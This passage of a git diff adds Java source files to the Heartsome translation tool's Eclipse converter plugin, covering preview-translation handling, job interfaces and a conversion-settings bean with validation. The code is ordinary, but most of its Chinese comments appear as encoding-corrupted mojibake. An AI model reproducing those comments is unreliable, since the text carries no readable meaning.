super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.FINISH_ID).setText(Messages.getString("handler.OpenConversionDialogHandler.finishLbl")); + } + }; + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + final List models = wizard.getConverterViewModels(); + + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.setTaskName(Messages.getString("handler.OpenReverseConversionDialogHandler.task1")); + monitor.beginTask(Messages.getString("handler.OpenReverseConversionDialogHandler.task2"), models.size()); + for (ConverterViewModel converterViewModel : models) { + try { + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + subMonitor.setTaskName(Messages.getString("handler.OpenReverseConversionDialogHandler.task3") + + converterViewModel.getConversionItem().getLocation().toOSString()); + converterViewModel.convertWithoutJob(subMonitor); + } catch (ConverterException e) { +// Bug #2485:转æ¢æ–‡ä»¶å¤±è´¥æ—¶ï¼Œæ示框显示有问题 + throw new InvocationTargetException(e, e.getMessage()); + } + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (InvocationTargetException e) { + MessageDialog.openInformation(shell, Messages.getString("handler.OpenReverseConversionDialogHandler.msgTitle2"), e.getMessage()); + LOGGER.error("", e); + } catch (InterruptedException e) { + MessageDialog.openInformation(shell, Messages.getString("handler.OpenReverseConversionDialogHandler.msgTitle2"), e.getMessage()); + LOGGER.error("", e); + } + } + return null; + } + + @Override + public String[] getLegalFileExtensions() { + return CommonFunction.xlfExtesionArray; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/PreviewTranslationHandler.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/PreviewTranslationHandler.java new file mode 100644 index 0000000..e54cc28 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/PreviewTranslationHandler.java @@ -0,0 +1,259 @@ +package net.heartsome.cat.convert.ui.handler; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConversionConfigBean; +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.convert.ui.utils.ConversionResource; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.ts.core.file.XLFHandler; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.ide.IDE; +import org.eclipse.ui.ide.ResourceUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 预览翻译 Handler + * @author weachy + * @version 1.1 + * @since JDK1.5 + */ +public class PreviewTranslationHandler extends AbstractHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(PreviewTranslationHandler.class); + + private IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + + private Shell shell; + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor == null) { + return false; + } + IEditorInput input = editor.getEditorInput(); + IFile file = ResourceUtil.getFile(input); + shell = HandlerUtil.getActiveWorkbenchWindowChecked(event).getShell(); + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(PreviewTranslationHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + if (file == null) { + MessageDialog.openInformation(shell, Messages.getString("handler.PreviewTranslationHandler.msgTitle"), + Messages.getString("handler.PreviewTranslationHandler.msg1")); + } else { + String fileExtension = file.getFileExtension(); + if (fileExtension != null && CommonFunction.validXlfExtension(fileExtension)) { + ConverterViewModel model = getConverterViewModel(file); + if (model != null) { + // model.convert(); + try { + previewFiles(new ArrayList(Arrays.asList(new IFile[] { file }))); + } catch (Exception e) { + // 修改 当异常没有消æ¯ï¼Œæ示信æ¯ä¸ºç©º + MessageDialog.openInformation(shell, + Messages.getString("handler.PreviewTranslationHandler.msgTitle"), + Messages.getString("handler.PreviewTranslationHandler.msg7")); + LOGGER.error("", e); + } + } + } else if (fileExtension != null && "xlp".equalsIgnoreCase(fileExtension)) { + // UNDO åˆå¹¶æ‰“开的预览翻译有问题,是针对åˆå¹¶æ‰“开的文件,而ä¸æ˜¯é’ˆå¯¹é¡¹ç›®æ‰€æœ‰çš„文件 robert 2012-07-12 + if (file.exists()) { + // IFolder xliffFolder = file.getProject().getFolder(Constant.FOLDER_XLIFF); + // Fixed Bug #2616 预览翻译--åˆå¹¶æ‰“开的文件ä¸èƒ½è¿›è¡Œé¢„览翻译 by Jason + XLFHandler hander = new XLFHandler(); + List files = hander.getMultiFiles(file); + List ifileList = new ArrayList(); + for (String tf : files) { + ifileList.add(ResourceUtils.fileToIFile(tf)); + } + // if (xliffFolder.exists()) { + // ArrayList files = new ArrayList(); + // try { + // ResourceUtils.getXliffs(xliffFolder, files); + // } catch (CoreException e) { + // throw new ExecutionException(e.getMessage(), e); + // } + previewFiles(ifileList); + // } else { + // MessageDialog + // .openInformation(shell, Messages.getString("handler.PreviewTranslationHandler.msgTitle"), + // Messages.getString("handler.PreviewTranslationHandler.msg2")); + // } + } + } else { + MessageDialog.openInformation(shell, Messages.getString("handler.PreviewTranslationHandler.msgTitle"), + Messages.getString("handler.PreviewTranslationHandler.msg3")); + } + } + return null; + } + + /** + * 预览翻译多个文件 + * @param files + * æ–‡ä»¶é›†åˆ + * @throws ExecutionException + * ; + */ + private void previewFiles(final List files) throws ExecutionException { + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InvocationTargetException { + monitor.setTaskName(Messages.getString("handler.PreviewTranslationHandler.task1")); + monitor.beginTask(Messages.getString("handler.PreviewTranslationHandler.task2"), files.size()); + for (IFile file : files) { + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + subMonitor.setTaskName(Messages.getString("handler.PreviewTranslationHandler.task3") + + file.getLocation().toOSString()); + try { + preview(file, subMonitor); // 预览å•ä¸ªæ–‡ä»¶ + } catch (ExecutionException e) { + throw new InvocationTargetException(e, e.getMessage()); + } + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (InvocationTargetException e) { + throw new ExecutionException(e.getMessage(), e); + } catch (InterruptedException e) { + throw new ExecutionException(e.getMessage(), e); + } + } + + /** + * 预览å•ä¸ªæ–‡ä»¶ + * @param file + * IFile 对象 + * @param subMonitor + * 进度监视器 + * @throws ExecutionException + * ; + */ + private void preview(IFile file, IProgressMonitor subMonitor) throws ExecutionException { + ConverterViewModel model = getConverterViewModel(file); + if (model != null) { + try { + Map result = model.convertWithoutJob(subMonitor); + String targetFile = result.get(Converter.ATTR_TARGET_FILE); + if (targetFile == null) { + MessageDialog.openError(shell, Messages.getString("handler.PreviewTranslationHandler.msgTitle"), + Messages.getString("handler.PreviewTranslationHandler.msg4")); + } else { + final IFile input = root.getFileForLocation(new Path(targetFile)); + Display.getDefault().syncExec(new Runnable() { + public void run() { + try { + // 使用外部编辑器(系统默认编辑器)打开文件。 + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow() + .getActivePage(); + Assert.isNotNull(page, Messages.getString("handler.PreviewTranslationHandler.msg5")); + IDE.openEditor(page, input, IEditorRegistry.SYSTEM_EXTERNAL_EDITOR_ID); + } catch (PartInitException e) { + MessageDialog.openInformation(shell, + Messages.getString("handler.PreviewTranslationHandler.msgTitle"), + Messages.getString("handler.PreviewTranslationHandler.msg6") + e.getMessage()); + LOGGER.error("", e); + } + } + }); + } + } catch (ConverterException e) { + throw new ExecutionException(e.getMessage(), e); + } + } + subMonitor.done(); + } + + /** + * 得到 ConverterViewModel 对象 + * @param file + * 需è¦é¢„览翻译的文件 + * @return + * @throws ExecutionException + * ; + */ + private ConverterViewModel getConverterViewModel(IFile file) throws ExecutionException { + Object adapter = Platform.getAdapterManager().getAdapter(file, IConversionItem.class); + if (adapter instanceof IConversionItem) { + IConversionItem item = (IConversionItem) adapter; + ConverterViewModel converterViewModel = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_REVERSE); // 逆å‘è½¬æ¢ + converterViewModel.setConversionItem(item); + try { + ConversionResource resource = new ConversionResource(Converter.DIRECTION_REVERSE, item); + String xliffpath = resource.getXliffPath(); + String targetPath = resource.getPreviewPath(); + + ConversionConfigBean configBean = converterViewModel.getConfigBean(); + configBean.setSource(xliffpath); + configBean.setTarget(targetPath); + configBean.setTargetEncoding("UTF-8"); + configBean.setPreviewMode(true); // è®¾ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ + + final IStatus status = converterViewModel.validateXliffFile(ConverterUtil.toLocalPath(xliffpath), + new XLFHandler(), null); // 注:验è¯çš„过程中,会为文件类型和骨架文件的路径赋值。 + if (status != null && status.isOK()) { + return converterViewModel; + } else { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(shell, + Messages.getString("handler.PreviewTranslationHandler.msgTitle"), + status.getMessage()); + } + }); + throw new ExecutionException(status.getMessage(), status.getException()); + } + } catch (CoreException e) { + throw new ExecutionException(e.getMessage(), e); + } + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobFactoryFacade.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobFactoryFacade.java new file mode 100644 index 0000000..93f1d32 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobFactoryFacade.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.convert.ui.job; + +import net.heartsome.cat.convert.ui.ImplementationLoader; + +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.swt.widgets.Display; + +/** + * 创建 Job çš„ factory facade + * @author cheney + * @since JDK1.6 + */ +public abstract class JobFactoryFacade { + private static final JobFactoryFacade IMPL; + + static { + IMPL = (JobFactoryFacade) ImplementationLoader.newInstance(JobFactoryFacade.class); + } + + /** + * 创建 Job + * @param display + * @param name + * @param runnable + * @return ; + */ + public static Job createJob(final Display display, final String name, final JobRunnable runnable) { + return IMPL.createJobInternal(display, name, runnable); + } + + /** + * 创建 Job 的内部实现 + * @param display + * @param name + * @param runnable + * @return ; + */ + protected abstract Job createJobInternal(Display display, String name, JobRunnable runnable); + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobRunnable.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobRunnable.java new file mode 100644 index 0000000..afd7554 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobRunnable.java @@ -0,0 +1,37 @@ +package net.heartsome.cat.convert.ui.job; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.action.IAction; + +/** + * 定义此接å£æ¥å°è£…需è¦åœ¨ Job 中è¿è¡Œçš„ä»£ç  + * @author cheney + * @since JDK1.6 + */ +public interface JobRunnable { + + /** + * 在 run 方法中包å«æ‰€è¦æ‰§è¡Œçš„ä»£ç  + * @param monitor + * 监视器,å¯ä»¥ä¸º NULL + * @return 代ç æ‰§è¡Œçš„结果; + */ + IStatus run(IProgressMonitor monitor); + + /** + * 显示此 runnable çš„è¿è¡Œç»“果,如直接弹出æˆåŠŸæˆ–失败对è¯æ¡†ï¼Œä¸»è¦ç”¨äºŽè¿›åº¦æ˜¾ç¤ºå¯¹è¯æ¡†æ²¡æœ‰å…³é—­çš„情况,å³è¿›åº¦æ˜¾ç¤ºåœ¨æ¨¡å¼å¯¹è¯æ¡†ä¸­ã€‚ + * @param status + * runnable è¿è¡Œç»“果的 status; + */ + void showResults(IStatus status); + + /** + * 用于显示 runnable è¿è¡Œç»“果的 action,通常是 job 在åŽå°è¿è¡Œå®ŒæˆåŽï¼Œé€šè¿‡åœ¨è¿›åº¦æ˜¾ç¤ºè§†å›¾ä¸­è§¦å‘相关的 action 链接æ¥æŸ¥çœ‹ç»“果。 + * @param status + * runnable è¿è¡Œç»“果的 status + * @return 返回显示 runnable è¿è¡Œç»“果的 action; + */ + IAction getRunnableCompletedAction(IStatus status); + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionConfigBean.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionConfigBean.java new file mode 100644 index 0000000..fcab9ee --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionConfigBean.java @@ -0,0 +1,582 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.convert.ui.utils.FileFormatUtils; +import net.heartsome.cat.converter.util.AbstractModelObject; + +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +/** + * åœ¨è½¬æ¢ xliff 文件时,转æ¢è®¾ç½®å¯¹è¯æ¡†ä¸­å¯è®¾ç½®å‚数对应的实体 bean + * @author cheney + * @since JDK1.6 + */ +public class ConversionConfigBean extends AbstractModelObject { + // åºå· + private String index; + + // æºæ–‡ä»¶çš„路径 + private String source; + + // 目标文件路径 + private String target; + + // 骨架文件路径 + private String skeleton; + + + //xliff 文件夹路径 + private String xliffDir; + + // æºæ–‡ä»¶è¯­è¨€ + private String srcLang; + + // æºæ–‡ä»¶ç¼–ç  + private String srcEncoding; + + // ç›®æ ‡æ–‡ä»¶ç¼–ç  + private String targetEncoding; + + // 是å¦æŒ‰æ®µèŒ–分段 + private boolean segByElement; + + // SRX 规则文件路径 + private String initSegmenter; + + // 是å¦æ ‡è®°ä¸ºä¸å¯ç¿»è¯‘ + private boolean lockXtrans; + + // 是å¦ä¸º 100ï¼… 匹é…的文本进行进行标记 + private boolean lock100; + + // 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + private boolean lock101; + + // 是å¦ä¸ºé‡å¤çš„文本段进行标记 + private boolean lockRepeated; + + // 是å¦æŒ‰ CR/LF 分段 + private boolean breakOnCRLF; + + // 将骨架嵌入 xliff 文件 + private boolean embedSkl; + + // 如果目标文件已存在,是å¦è¦†ç›– + private boolean replaceTarget; + + // é¢„è§ˆæ¨¡å¼ + private boolean previewMode; + + // æ–‡ä»¶æ ¼å¼ + private List fileFormats; + + // ç¼–ç åˆ—表 + private List pageEncoding; + + // 目标语言列表 + private List tgtLangList; + + private List hasSelTgtLangList; + + // 文件类型 + private String fileType; + + /** 临时 XLIFF 文件路径,在逆转æ¢æ—¶ï¼Œä¼šæ ¹æ®æ‰€é€‰ XLIFF 文件,生æˆä¸€ä¸ªæ— åˆ†å‰²ï¼åˆå¹¶æ–‡æœ¬æ®µçš„临时 XLIFF 文件,此å˜é‡è®°å½•ä¸´æ—¶æ–‡ä»¶è·¯å¾„ */ + private String tmpXlfPath; + + /** + * 文件类型 + * @return ; + */ + public String getFileType() { + return fileType; + } + + /** + * 文件类型 + * @param fileType + * ; + */ + public void setFileType(String fileType) { + firePropertyChange("fileType", this.fileType, this.fileType = fileType); + } + + /** + * ç¼–ç åˆ—表 + * @return ; + */ + public List getPageEncoding() { + if (pageEncoding == null) { + String[] codeArray = LocaleService.getPageCodes(); + pageEncoding = Arrays.asList(codeArray); + } + return pageEncoding; + } + + /** + * ç¼–ç åˆ—表 + * @param pageEncoding + * ; + */ + public void setPageEncoding(List pageEncoding) { + this.pageEncoding = pageEncoding; + } + + /** + * 将骨架嵌入 xliff 文件 + * @return ; + */ + public boolean isEmbedSkl() { + return embedSkl; + } + + /** + * 将骨架嵌入 xliff 文件 + * @param embedSkl + * ; + */ + public void setEmbedSkl(boolean embedSkl) { + this.embedSkl = embedSkl; + } + + /** + * æºæ–‡ä»¶çš„路径 + * @return ; + */ + public String getSource() { + return source; + } + + /** + * æºæ–‡ä»¶çš„路径 + * @param source + * ; + */ + public void setSource(String source) { + firePropertyChange("source", this.source, this.source = source); + } + + /** + * 目标文件路径 + * @return ; + */ + public String getTarget() { + return target; + } + + /** + * 目标文件路径 + * @param target + * ; + */ + public void setTarget(String target) { + firePropertyChange("target", this.target, this.target = target); + } + + /** + * 骨架文件路径 + * @return ; + */ + public String getSkeleton() { + return skeleton; + } + + /** + * 骨架文件路径 + * @param skeleton + * ; + */ + public void setSkeleton(String skeleton) { + this.skeleton = skeleton; + } + + /** + * æºæ–‡ä»¶è¯­è¨€ + * @return ; + */ + public String getSrcLang() { + return srcLang; + } + + /** + * æºæ–‡ä»¶è¯­è¨€ + * @param srcLang + * ; + */ + public void setSrcLang(String srcLang) { + firePropertyChange("srcLang", this.srcLang, this.srcLang = srcLang); + } + + /** @return 目标语言 */ + public List getTgtLangList() { + return tgtLangList; + } + + /** + * 目标语言 + * @param tgtLang + * the tgtLang to set + */ + public void setTgtLangList(List tgtLangList) { + this.tgtLangList = tgtLangList; + } + + /** @return the hasSelTgtLangList */ + public List getHasSelTgtLangList() { + return hasSelTgtLangList; + } + + /** + * @param hasSelTgtLangList + * the hasSelTgtLangList to set + */ + public void setHasSelTgtLangList(List hasSelTgtLangList) { + this.hasSelTgtLangList = hasSelTgtLangList; + } + + /** + * æºæ–‡ä»¶ç¼–ç  + * @return ; + */ + public String getSrcEncoding() { + return srcEncoding; + } + + /** + * æºæ–‡ä»¶ç¼–ç  + * @param srcEncoding + * ; + */ + public void setSrcEncoding(String srcEncoding) { + firePropertyChange("srcEncoding", this.srcEncoding, this.srcEncoding = srcEncoding); + } + + /** + * 是å¦æŒ‰æ®µèŒ–分段 + * @return ; + */ + public boolean isSegByElement() { + return segByElement; + } + + /** + * 是å¦æŒ‰æ®µèŒ–分段 + * @param segByElement + * ; + */ + public void setSegByElement(boolean segByElement) { + this.segByElement = segByElement; + } + + /** + * SRX 规则文件路径 + * @return ; + */ + public String getInitSegmenter() { + return initSegmenter; + } + + /** + * SRX 规则文件路径 + * @param initSegmenter + * ; + */ + public void setInitSegmenter(String initSegmenter) { + firePropertyChange("initSegmenter", this.initSegmenter, this.initSegmenter = initSegmenter); + } + + /** + * 是å¦æ ‡è®°ä¸ºä¸å¯ç¿»è¯‘ + * @return ; + */ + public boolean isLockXtrans() { + return lockXtrans; + } + + /** + * 是å¦æ ‡è®°ä¸ºä¸å¯ç¿»è¯‘ + * @param lockXtrans + * ; + */ + public void setLockXtrans(boolean lockXtrans) { + this.lockXtrans = lockXtrans; + } + + /** + * 是å¦ä¸º 100ï¼… 匹é…的文本进行进行标记 + * @return ; + */ + public boolean isLock100() { + return lock100; + } + + /** + * 是å¦ä¸º 100ï¼… 匹é…的文本进行进行标记 + * @param lock100 + * ; + */ + public void setLock100(boolean lock100) { + this.lock100 = lock100; + } + + /** + * 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + * @return ; + */ + public boolean isLock101() { + return lock101; + } + + /** + * 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + * @param lock101 + * ; + */ + public void setLock101(boolean lock101) { + this.lock101 = lock101; + } + + /** + * 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + * @return ; + */ + public boolean isLockRepeated() { + return lockRepeated; + } + + /** + * 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + * @param lockRepeated + * ; + */ + public void setLockRepeated(boolean lockRepeated) { + this.lockRepeated = lockRepeated; + } + + /** + * 是å¦æŒ‰ CR/LF 分段 + * @return ; + */ + public boolean isBreakOnCRLF() { + return breakOnCRLF; + } + + /** + * 是å¦æŒ‰ CR/LF 分段 + * @param breakOnCRLF + * ; + */ + public void setBreakOnCRLF(boolean breakOnCRLF) { + this.breakOnCRLF = breakOnCRLF; + } + + /** + * ç›®æ ‡æ–‡ä»¶ç¼–ç  + * @param targetEncoding + * ; + */ + public void setTargetEncoding(String targetEncoding) { + firePropertyChange("targetEncoding", this.targetEncoding, this.targetEncoding = targetEncoding); + } + + /** + * ç›®æ ‡æ–‡ä»¶ç¼–ç  + * @return ; + */ + public String getTargetEncoding() { + return targetEncoding; + } + + public String getTmpXlfPath() { + return tmpXlfPath; + } + + public void setTmpXlfPath(String tmpXlfPath) { + this.tmpXlfPath = tmpXlfPath; + } + + @Override + public String toString() { + StringBuffer buffer = new StringBuffer(); + buffer.append("configuration:--------------------\n"); + buffer.append("source:" + getSource() + "\n"); + buffer.append("target:" + getTarget() + "\n"); + buffer.append("skeleton:" + getSkeleton() + "\n"); + buffer.append("srclang:" + getSrcLang() + "\n"); + buffer.append("srcEncoding:" + getSrcEncoding() + "\n"); + buffer.append("targetEncoding:" + getTargetEncoding() + "\n"); + buffer.append("segByElement:" + isSegByElement() + "\n"); + buffer.append("initSegmenter:" + getInitSegmenter() + "\n"); + buffer.append("lockXtrans:" + isLockXtrans() + "\n"); + buffer.append("lock100:" + isLock100() + "\n"); + buffer.append("lock101:" + isLock101() + "\n"); + buffer.append("lockRepeated:" + isLockRepeated() + "\n"); + buffer.append("breakOnCRLF:" + isBreakOnCRLF() + "\n"); + buffer.append("embedSkl:" + isEmbedSkl() + "\n"); + buffer.append("--------------------------"); + return buffer.toString(); + } + + /** + * æ ¹æ®æ–°éœ€æ±‚,å°†xlf文件存放在以目标语言为å称目录中的,用于生æˆè·¯å¾„ + * @return ; + */ + public List generateXlfFilePath() { + String tgtFilePath = ConverterUtil.toLocalPath(getTarget()); + // 注释部分为加了语言代ç åŽç¼€çš„情况 + // String sourceFileName = source.substring(source.lastIndexOf(spearator)); + List xlfFilePaths = new ArrayList(); + for (Language lang : hasSelTgtLangList) { + // ä¿®å¤ã€€bug 2949 ,当文件å中出现 XLIFF 时,文件å获å–失败,下é¢æ³¨é‡Šä»£ç ä¸ºä¹‹å‰çš„代ç ã€‚ --robert 2013-04-01 +// String[] pathArray = tgtFilePath.split(Constant.FOLDER_XLIFF); +// StringBuffer xlffPath = new StringBuffer(pathArray[0]); +// xlffPath.append(Constant.FOLDER_XLIFF).append(spearator).append(lang.getCode()).append(pathArray[1]); + String dirName = tgtFilePath.substring(0, tgtFilePath.lastIndexOf(File.separator) + 1); + String fileName = tgtFilePath.substring(tgtFilePath.lastIndexOf(File.separator) + 1, tgtFilePath.length()); + StringBuffer xlfPahtSB = new StringBuffer(); + xlfPahtSB.append(dirName); + xlfPahtSB.append(lang.getCode()); + xlfPahtSB.append(File.separator); + xlfPahtSB.append(fileName); + + + // File targetTempFile = new File(xlffPath.toString()); + // xlffPath = new StringBuffer(targetTempFile.getParentFile().getPath()); + // xlffPath.append(spearator); + + // int tempInt = sourceFileName.lastIndexOf("."); + // String fileEx = sourceFileName.substring(sourceFileName.lastIndexOf(".")); + // String fileName = sourceFileName.substring(1, tempInt); + // xlffPath.append(fileName).append("_").append(lang.getCode()).append(fileEx).append(CommonFunction.R8XliffExtension_1); + // xlffPath.append(sourceFileName).append(CommonFunction.R8XliffExtension_1); + xlfFilePaths.add(xlfPahtSB.toString()); + } + return xlfFilePaths; + } + + /** + * æ­£å‘转æ¢éªŒè¯ + * @return ; + */ + public IStatus validateConversion() { + if (source == null || source.trim().equals("")) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg1")); + } else { + String localSource = ConverterUtil.toLocalPath(source); + File file = new File(localSource); + if (!file.exists()) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg2")); + } + } + if (target == null || target.trim().equals("")) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg3")); + } else { + if (!replaceTarget) { // 如果未选择覆盖,判断并æ示目标文件是å¦å­˜åœ¨ + List xlfFilePaths = generateXlfFilePath(); + for (String path : xlfFilePaths) { + File file = new File(path); + if (file.exists()) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg4")); + } + } + } + } + if (srcLang == null || srcLang.trim().equals("")) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg5")); + } + if (srcEncoding == null || srcEncoding.trim().equals("")) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg6")); + } + if (initSegmenter == null || initSegmenter.trim().equals("")) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg7")); + } else { + File file = new File(initSegmenter); + if (!file.exists()) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg8")); + } + } + return Status.OK_STATUS; + } + + /** + * 逆å‘转æ¢éªŒè¯ + * @return ; + */ + public IStatus validateReverseConversion() { + if (target == null || target.trim().equals("")) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg9")); + } else { + if (!replaceTarget) { // 如果未选择覆盖,判断并æ示目标文件是å¦å­˜åœ¨ + String localTarget = ConverterUtil.toLocalPath(target); + File file = new File(localTarget); + if (file.exists()) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg10")); + } + } + } + if (targetEncoding == null || targetEncoding.trim().equals("")) { + return ValidationStatus.error(Messages.getString("model.ConversionConfigBean.msg11")); + } + return Status.OK_STATUS; + } + + public void setReplaceTarget(boolean replaceTarget) { + this.replaceTarget = replaceTarget; + } + + public boolean isReplaceTarget() { + return replaceTarget; + } + + public void setFileFormats(List fileFormats) { + this.fileFormats = fileFormats; + } + + public List getFileFormats() { + if (fileFormats == null) { + fileFormats = CommonFunction.array2List(FileFormatUtils.getFileFormats()); + } + return fileFormats; + } + + public boolean isPreviewMode() { + return previewMode; + } + + public void setPreviewMode(boolean previewMode) { + this.previewMode = previewMode; + } + + /** @return the index */ + public String getIndex() { + return index; + } + + /** + * @param index + * the index to set + */ + public void setIndex(String index) { + this.index = index; + } + + public String getXliffDir() { + return xliffDir; + } + + public void setXliffDir(String xliffDir) { + this.xliffDir = xliffDir; + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionValidateStrategy.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionValidateStrategy.java new file mode 100644 index 0000000..5c8797a --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionValidateStrategy.java @@ -0,0 +1,32 @@ +/** + * ConversionValidateStrategy.java + * + * Version information : + * + * Date:Apr 13, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.convert.ui.model; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; + +/** + * 验è¯æ–‡ä»¶è½¬æ¢çš„é…置信æ¯æ˜¯å¦æ­£ç¡®çš„顶层接å£ã€‚ + * @author cheney + * @since JDK1.6 + */ +public interface ConversionValidateStrategy { + + /** + * 验è¯æ–‡ä»¶è½¬æ¢çš„é…ç½®ä¿¡æ¯ + * @param path + * 文件路径 + * @param configuraion + * 文件转æ¢é…ç½®ä¿¡æ¯ + * @param monitor + * @return 返回验è¯çš„结果状æ€; + */ + IStatus validate(String path, ConversionConfigBean configuraion, IProgressMonitor monitor); +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterContext.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterContext.java new file mode 100644 index 0000000..1ad7f39 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterContext.java @@ -0,0 +1,169 @@ +package net.heartsome.cat.convert.ui.model; + +import static net.heartsome.cat.converter.Converter.FALSE; +import static net.heartsome.cat.converter.Converter.TRUE; + +import java.io.File; +import java.net.URISyntaxException; +import java.net.URL; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.runtime.Platform; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 